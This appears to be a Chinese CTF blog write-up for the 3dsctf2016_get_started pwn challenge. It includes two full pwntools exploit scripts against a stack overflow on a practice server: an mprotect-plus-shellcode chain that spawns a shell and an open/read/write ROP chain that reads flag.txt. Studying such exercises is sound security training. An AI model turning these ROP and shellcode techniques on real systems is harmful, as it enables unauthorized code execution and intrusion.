【pwn】 3dsctf2016_get_started

例行检查
在这里插入图片描述file一下,发现是静态连接的,还没有Pie。
在这里插入图片描述分析程序发现是简单栈溢出,还有一个get_flag函数?于是直接返回到get_flag函数执行,但是远程没有打通,然后试了下本地可以打通,然后猜测可能是远程环境部署错了,没有flag.txt文件?
然后试试别的方法。
由于是静态链接里面函数还是很多的。

1.mprotect,修改某地址为rwx,随后写入shellcode,然后getshell。

from pwn import *

io=remote('node3.buuoj.cn', 26518)
#io=process('./pwn')
mprotect=0x806EC80 
pop3_ret=0x809e4c5
#pop2_ret=0x806fc31
bss=0x80EC000 
read=0x806E140
#op=0x806E0D0 
#write=0x806E1B0
#flag=0x80BC388

pl='a'*0x38+p32(mprotect)+p32(pop3_ret)+p32(bss)+p32(0x1000)+p32(7)
pl+=p32(read)+p32(bss)+p32(0)+p32(bss)+p32(0x100)
#pl='a'*0x38+p32(op)+p32(pop2_ret)+p32(flag)+p32(0)+p32(read)+p32(pop3_ret)+p32(3)+p32(bss)+p32(64)+p32(write)+'dead'+p32(1)+p32(bss)+p32(64)

io.sendline(pl)

shellcode=asm(shellcraft.sh())
io.sendline(shellcode)

io.interactive()

然后发现。
在这里插入图片描述
远程环境里有flag.txt,那我就不懂了,不知道为什么之前远程打不通(我太菜了)

2.orw也可以

from pwn import *

io=remote('node3.buuoj.cn', 26518)
#io=process('./pwn')
#mprotect=0x806EC80 
pop3_ret=0x809e4c5
pop2_ret=0x806fc31
bss=0x80EC000 
read=0x806E140
op=0x806E0D0 
write=0x806E1B0
flag=0x80BC388

#pl='a'*0x38+p32(mprotect)+p32(pop3_ret)+p32(bss)+p32(0x1000)+p32(7)
#pl+=p32(read)+p32(bss)+p32(0)+p32(bss)+p32(0x100)
pl='a'*0x38+p32(op)+p32(pop2_ret)+p32(flag)+p32(0)
pl+=p32(read)+p32(pop3_ret)+p32(3)+p32(bss)+p32(64)
pl+=p32(write)+'dead'+p32(1)+p32(bss)+p32(64)

io.sendline(pl)

#shellcode=asm(shellcraft.sh())
#io.sendline(shellcode)

io.interactive()

在这里插入图片描述
所以是为啥呢。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值